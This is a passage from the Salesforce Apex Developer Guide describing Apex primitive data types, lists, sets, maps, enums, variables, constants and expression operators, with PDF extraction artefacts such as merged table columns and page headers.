•Objects created from system supplied Apex classes
•Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 522.
Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:
DescriptionData Type
A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
Blob
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class.
A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;
Boolean
A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Date values must always be created with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You can’t
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.
Date
27
Data TypesData Types and Variables
DescriptionData Type
A value that indicates a particular day and time, such as a timestamp. Datetime values must always
be created with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
Datetime
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.
A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you do not explicitly set the number of decimal places for a Decimal, the item from which the
Decimal is created determines the Decimal’s scale. Scale is a count of decimal places. Use the
setScale method to set a Decimal’s scale.
Decimal
•If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
•If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
•If the Decimal is created from a non-decimal number, the number is first converted to a String.
Scale is then set using the number of characters after the decimal point.
A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double d=3.14159;
Double
Scientific notation (e) for Doubles is not supported.
Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';
ID
If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.
A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;
Integer
A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;
Long
Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
Object
28
Primitive Data TypesData Types and Variables
DescriptionData Type
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i=(Integer)obj;
System.assertEquals(10, i);
The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.
Object obj = new MyApexClass();
// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();
Any set of characters surrounded by single quotes. For example,
String s='The quick brown fox jumped over the lazy dog.';
String
String size: Strings have no limit on the number of characters they can include. Instead, the heap
size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
the SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}
In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}
For more information, see “HTML Solutions Overview” in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
29
Primitive Data TypesData Types and Variables
DescriptionData Type
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context user’s locale and are not case-sensitive. For more information, see Operators
on page 40.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.
A value that indicates a particular time. Time values must always be created with a system static
method. See Time Class.
Time
In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:
•AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Force.com platform database exclusively for sObject fields in field history tracking tables.
•Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.
SEE ALSO:
Understanding Expression Operators
Collections
Apex has the following types of collections:
•Lists
•Maps
•Sets
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation of a list of
Strings:
Index 5Index 4Index 3Index 2Index 1Index 0
'Purple''Blue''Green''Yellow''Orange''Red'
The index position of the first element in a list is always 0.
30
CollectionsData Types and Variables
Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();
To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47); // Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0); // Retrieves the element at index 0
myList.set(0, 1); // Adds the integer 1 to the list at index 0
myList.clear(); // Removes all elements from the list
For more information, including a complete list of all supported methods, see List Class on page 2352.
Using Array Notation for One-Dimensional Lists
When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List<String>();
These two statements are equivalent to the previous:
List<String> colors = new String[1];
String[] colors = new String[1];
To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';
Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
DescriptionExample
Defines an Integer list of size zero with no elements
List<Integer> ints = new Integer[0];
Defines an Integer list with memory allocated for six Integers
List<Integer> ints = new Integer[6];
31
ListsData Types and Variables
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.
Default Sort Order for SelectOption
The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);
This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])
32
ListsData Types and Variables
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of strings, that uses
city names:
'Tokyo''Paris''New York''San Francisco'
Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()
The following are ways to declare and populate a set:
Set<String> s1 = new Set<String>{'a','b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step
To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer>s=new Set<Integer>(); // Define a new set
s.add(1); // Add an element to the set
System.assert(s.contains(1)); // Assert that the set contains an element
s.remove(1); // Remove the element from the set
For more information, including a complete list of all supported set system methods, see Set Class on page 2483.
Note the following limitations on sets:
•Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
•A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
•The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a map of countries
and currencies:
'India''England''France''Japan''United States'Country (Key)
'Rupee''Pound''Euro''Yen''Dollar'Currency (Value)
Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.
33
SetsData Types and Variables
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String,String> country_currencies = new Map<String,String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String,String> MyStrings = new Map<String,String>{'a' => 'b','c' =>
'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer,String>m=new Map<Integer,String>(); // Define a new map
m.put(1, 'First entry'); // Insert a new key-value pair in the map
m.put(2, 'Second entry'); // Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2); // Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
For more information, including a complete list of all supported Map methods, see Map Class on page 2370.
Map Considerations
•Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for
example, HashMap or TreeMap). Apex uses a hash structure for all maps.
•The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
•A map key can hold the null value.
•Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
•Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
•Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values.
•A Map object is serializable into JSON only if it uses one of the following data types as a key.
–Boolean
–Date
–DateTime
–Decimal
–Double
–Enum
34
MapsData Types and Variables
–Id
–Integer
–Long
–String
–Time
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used. For example, the following is legal in Apex:
Integer x = 1;
The following is not legal if x has not been defined earlier:
x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();
Subtyping with Parameterized Lists
In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo','bar'};
List<Object> olst = slst;
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular season of
the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you don’t inadvertently
misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types
can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might
any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {
35
Parameterized TypingData Types and Variables
if (e == Season.SUMMER) return e;
//...
}
You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes
definitions for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
•System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
•System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see
XmlStreamReader Class.
•System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode
Enum.
•System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.
•System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as
the Decimal divide method and the Double round method. For more information, see Rounding Mode.
•System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
•System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
•System.JSONToken:
This enum is used for parsing JSON content. For more information, see JSONToken Enum.
•ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
•Dom.XmlNodeType:
36
EnumsData Types and Variables
This enum specifies the node type in a DOM document.
Note: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.
Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
Map<ID,String> m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
Null Variables and Initial Values
If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x=null;
Decimal d;
Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);
All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;
Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.
Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i; This declaration is not allowed
37
VariablesData Types and Variables
}
for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
•Variable and method names are case-insensitive. For example:
Integer I;
//Integer i; This would be an error.
•References to object and field names are case-insensitive. For example:
Account a1;
ACCOUNT a2;
•SOQL and SOSL statements are case- insensitive. For example:
Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];
Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s<'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.
Constants
Apex constants are variables whose values don’t change after being initialized once.
Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the
declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is
initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {
return 2 + 7;
38
ConstantsData Types and Variables
}
static {
PRIVATE_INT_CONST2 = calculate();
}
}
For more information, see Using the final Keyword on page 77.
Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section
provides an overview of expressions in Apex and contains the following:
•Understanding Expressions
•Understanding Expression Operators
•Understanding Operator Precedence
•Expanding sObject and List Expressions
•Using Comments
Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an
expression is always one of the following types:
•A literal expression. For example:
1+1
•A new sObject, Apex object, list, set, or map. For example:
new Account(<field_initializers>)
new Integer[<n>]
new Account[]{<elements>}
new List<Account>()
new Set<String>{}
new Map<String,Integer>()
new myRenamingClass(string oldName, string newName)
•Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
•Any sObject field reference that is not an L-value, including:
–The ID of an sObject in a list (see Lists)
–A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.
39
Expressions and OperatorsData Types and Variables
•A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
For information, see SOQL and SOSL Queries on page 144.
•A static or instance method invocation. For example:
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
Understanding Expression Operators
Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators:
DescriptionSyntaxOperator
Assignment operator (Right associative). Assigns the value of y to the L-value
x. Note that the data type of x must match the data type of y, and cannot be
null.
x = y=
Addition assignment operator (Right associative). Adds the value of y to the
original value of x and then reassigns the new value to x. See + for additional
information. x and y cannot be null.
x += y+=
Multiplication assignment operator (Right associative). Multiplies the value of
y with the original value of x and then reassigns the new value to x. Note that
x *= y*=
x and y must be Integers or Doubles, or a combination. x and y cannot be
null.
Subtraction assignment operator (Right associative). Subtracts the value of y
from the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
x -= y-=
Division assignment operator (Right associative). Divides the original value of x
with the value of y and then reassigns the new value to x. Note that x and y
must be Integers or Doubles, or a combination. x and y cannot be null.
x /= y/=
OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both false, then x remains false. Otherwise, x is assigned the value of true. x
and y cannot be null.
x |= y|=
AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise, x is assigned the value of false. x
and y cannot be null.
x &= y&=
Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high order bits are lost, and the new right bits are set to 0. This value is
then reassigned to x.
x <<= y<<=
40
Understanding Expression OperatorsData Types and Variables
DescriptionSyntaxOperator
Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low order bits are lost, and the new left bits are set to 0 for
x >>= y>>=
positive values of y and 1 for negative values of y. This value is then reassigned to
x.
Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set to 0
for all values of y. This value is then reassigned to x.
x >>>= y>>>=
Ternary operator (Right associative). This operator acts as a short-hand for
if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result. Note that x cannot be null.
x?y:z?:
AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
x && y&&
•&& has precedence over ||
•This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is true.
•x and y cannot be null.
OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
x || y||
•&& has precedence over ||
•This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is false.
•x and y cannot be null.
Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise, the expression evaluates to false.
Note:
x == y==
•Unlike Java, == in Apex compares object value equality, not reference equality,
except for user-defined types. Consequently:
–String comparison using == is case-insensitive
–ID comparison using == is case-sensitive, and does not distinguish between
15-character and 18-character formats
–User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory. You
can override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
41
Understanding Expression OperatorsData Types and Variables
DescriptionSyntaxOperator
•For sObjects and sObject arrays, == performs a deep check of all sObject field
values before returning its result. Likewise for collections and built-in Apex
objects.
•For records, every field must have the same value for == to evaluate to true.
•x or y can be the literal null.
•The comparison of any two values can never result in null.
•SOQL and SOSL use = for their equality operator, and not ==. Although Apex
and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy
exists because most modern languages use = for assignment and == for
equality. The designers of Apex deemed it more valuable to maintain this
paradigm than to force developers to learn a new assignment operator. The
result is that Apex developers must use == for equality tests in the main body
of the Apex code, and = for equality in SOQL and SOSL queries.
Exact equality operator. If x and y reference the exact same location in memory,
the expression evaluates to true. Otherwise, the expression evaluates to false.
x === y===
Less than operator. If x is less than y, the expression evaluates to true. Otherwise,
the expression evaluates to false.
Note:
x < y<
•Unlike other database stored procedures, Apex does not support tri-state Boolean
logic, and the comparison of any two values can never result in null.
•If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
•A non-null String or ID value is always greater than a null value.
•If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
•If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
•x and y cannot be Booleans.
•The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
x > y>
•The comparison of any two values can never result in null.
•If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
•A non-null String or ID value is always greater than a null value.
•If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
42
Understanding Expression OperatorsData Types and Variables
DescriptionSyntaxOperator
•If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
•x and y cannot be Booleans.
•The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
x <= y<=
•The comparison of any two values can never result in null.
•If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
•A non-null String or ID value is always greater than a null value.
•If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
•If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
•x and y cannot be Booleans.
•The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
x >= y>=
•The comparison of any two values can never result in null.
•If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
•A non-null String or ID value is always greater than a null value.
•If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
•If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
•x and y cannot be Booleans.
•The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
Inequality operator. If the value of x does not equal the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
x != y!=
•String comparison using != is case-insensitive
•Unlike Java, != in Apex compares object value equality, not reference equality,
except for user-defined types.
43
Understanding Expression OperatorsData Types and Variables
DescriptionSyntaxOperator
•For sObjects and sObject arrays, != performs a deep check of all sObject field
values before returning its result.
•For records, != evaluates to true if the records have different values for any
field.
•User-defined types are compared by reference, which means that two objects
are different only if they reference different locations in memory. You can
override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
•x or ycan be the literal null.
•The comparison of any two values can never result in null.
Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.
x !== y!==
Addition operator. Adds the value of x to the value of y according to the
following rules:
x + y+
•If x and y are Integers or Doubles, adds the value of x to the value of y. If a
Double is used, the result is a Double.
•If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
•If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
•If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.
Subtraction operator. Subtracts the value of y from the value of x according to
the following rules:
x - y-
•If x and y are Integers or Doubles, subtracts the value of y from the value of
x. If a Double is used, the result is a Double.
•If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
•If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
Multiplication operator. Multiplies x, an Integer or Double, with y, another
Integer or Double. Note that if a double is used, the result is a Double.
x * y*
Division operator. Divides x, an Integer or Double, by y, another Integer or Double.
Note that if a double is used, the result is a Double.
x / y/
Logical complement operator. Inverts the value of a Boolean, so that true becomes
false, and false becomes true.
!x!
44
Understanding Expression OperatorsData Types and Variables
DescriptionSyntaxOperator
Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.
Note that the positive equivalent + is also syntactically valid, but does not have a
mathematical effect.
-x-
Increment operator. Adds 1 to the value of x, a variable of a numeric type. If
prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.
x++
++x
++
Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.
x--
--x
--
Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid
for types Long or Integer.
x & y&
Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid
for types Long or Integer.
x | y|
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.
x ^ y^
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.
x ^= y^=
Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.
x << y<<
Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low order bits are lost, and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.
x >> y>>
Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for all values of
y.
x >>> y>>>
Parentheses. Elevates the precedence of an expression x so that it is evaluated
first in a compound expression.
(x)()
Understanding Operator Precedence
Apex uses the following operator precedence rules:
DescriptionOperatorsPrecedence
Grouping and prefix increments and decrements{} () ++ --1
